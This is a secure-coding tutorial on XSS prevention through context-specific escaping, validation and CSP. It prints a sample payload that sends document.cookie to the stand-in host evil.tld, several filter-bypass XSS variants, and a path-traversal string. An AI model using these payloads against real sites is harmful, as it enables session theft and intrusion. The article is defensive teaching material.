TRT
Sign in
Networking

Treat Browser Input as Data at Every Boundary

Browser security depends on keeping untrusted data from becoming executable code or changing the meaning of a command.

The Runtime Theory Team5 min read#xss#input-validation#encoding

Every string that reaches your application came from somewhere you do not control: a form field, a URL, a webhook payload, a filename, a CSV column, a support agent copying an email subject into an admin tool. The whole discipline of browser security reduces to one rule: at every boundary, decide whether this value is data or code — and never let the parser on the other side make that decision for you. XSS is what happens when a value crosses a boundary and the destination was expecting code.

One value, many contexts

The same search term men's shoes is harmless in one place and an exploit in another, because each context has its own grammar and its own delimiters:

text
HTML body context      <h1>results for: men's shoes</h1>
HTML attribute context <a title="results for: men's shoes">
JavaScript string      const q = "results for: men's shoes";
URL context            /search?q=men%27s+shoes
CSS context            .banner { content: "men's shoes"; }

Flip the example to a value containing a double quote and a tag — the classic payload below is 57 bytes end to end:

html
"><script>fetch('//evil.tld?c='+document.cookie)</script>

In HTML body context, angle brackets must be escaped. In an attribute context, the quote that closes the attribute is the dangerous character — escape it and the payload becomes inert text. The correct escape function is therefore chosen by context, not by data:

js
const escapeHtml = (s) => s.replace(/[&<>"']/g, (c) => ({
  "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;",
}[c]));
 
// URL context is a different operation entirely — encoding, not HTML escaping.
const searchUrl = "/search?q=" + encodeURIComponent(term);
 
// Inside a <script> block, "<" must not survive, or "</script>" ends the block early.
const payload = JSON.stringify(data).replace(/</g, "\\u003c");

Reusing escapeHtml for a query selector is a real bug class: escaping " to &quot; yields a selector that matches nothing, and developers "fix" it by concatenating raw input back in, restoring the hole. Each interpreter — HTML, attribute, URL, CSS, JavaScript, SQL, shell, selector — needs its own control, applied at the moment of output.

Validation runs first, but cannot run alone

Validation asks "does this look like the shape we expect?" and is essential for rejecting 500000 as a quantity or ../../etc/passwd as a filename. What validation cannot do is sanitize for output, because attackers do not send the payload in the form you tested:

bash
# Equivalent payloads a naive "blocklist <script>" filter walks right past:
%3Cscript%3Ealert(1)%3C/script%3E      # percent-encoded
<scr<script>ipt>alert(1)               # nested, after one pass removes the inner tag
<svg/onload=alert(1)>                  # no script element at all

Parsers accept many equivalent forms and decoders can run in multiple layers (URL decode, HTML entity decode, Unicode normalize), so a filter that checks for dangerous strings after one decode pass is a coin flip. Validate on the way in — allowlists by field, server-side, because the browser is trivially bypassed — and encode on the way out, at the point of rendering. They solve different problems at different times.

Content-Security-Policy: depth, not replacement

A CSP is a second line that limits what an injected payload can do, even if your encoding has a hole:

http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-4f3a9c1d'; \
  object-src 'none'; base-uri 'self'; frame-ancestors 'none'

With a per-response nonce, inline <script> tags execute only if they carry that nonce — and an attacker's injected script cannot read it. This is why 'unsafe-inline' in script-src quietly disables the entire control, and why report-uri/report-to is worth setting while you roll a policy out: you learn which legacy inline handlers are still running before you break them.

CSP does not cover everything. It does not stop exfiltration through allowed origins, form-based CSRF, or HTML injection that rewrites the page without running script (click jacking via injected links, phishing forms). Fix the templating; use the policy to make the next mistake survivable.

Where the enforcement actually lives

Frameworks already do half of this work, and knowing which half is the point. Rendering engines escape text nodes by default: React's JSX text, Handlebars {{value}}, Jinja's auto-escape, and Go's html/template all treat interpolations as data. The danger appears at the deliberate opt-outs — dangerouslySetInnerHTML, Jinja's | safe, a direct innerHTML assignment, a Markdown renderer configured to pass raw HTML through. Each one is a boundary you crossed on purpose, and each one needs an explicit answer to "is this value already safe?"

Two contexts survive auto-escaping, and both are common:

js
// 1. Attribute values: escaping stops markup, not URL schemes.
const safeHref = (raw) => {
  const url = new URL(raw, "https://example.com");   // resolve relative values against a base
  return ["http:", "https:"].includes(url.protocol) ? url.href : "#";
};
 
// 2. Query selectors: a value with quotes changes which element you select.
const node = document.querySelector("#" + CSS.escape(userProvidedId));

And the boundary rule generalizes past the browser: SQL wants prepared statements, the shell wants an argument array rather than a concatenated string, and a log pipeline wants structured fields rather than interpolated text. Each interpreter gets the control designed for it, at the moment the value enters or leaves — validation where data enters (shape, type, length, allowlist), output encoding where it renders (context-specific). One without the other is a partial fix: encoding without validation stores garbage, and validation without encoding leaves the render path open.

Where this bites in production

  • Stored XSS is the expensive kind. The payload is saved once — in a comment, a display name, an uploaded SVG — and executes for every subsequent viewer, including admins. A single stored hole in an admin dashboard is a full account-takeover chain.
  • HTML you did not write is still HTML you serve: Markdown rendering, PDF/HTML email export, SVG uploads, and JSON embedded in a <script> tag are the four most common contexts teams forget to escape for.
  • Cookies decide the blast radius. Without HttpOnly, document.cookie hands the session to the payload; without Secure, it can leak on plain HTTP. Set both.
  • Review every render site in a diff: a new template line that interpolates data is a new boundary. The question is never "is this input dangerous?" — it is "which grammar is this value being written into, and did I escape for that grammar?"

Further reading: the OWASP XSS prevention cheat sheet.

Spotted a mistake or something broken? Report a problem

Not started

Sign in to save your learning progress.

Sign in to save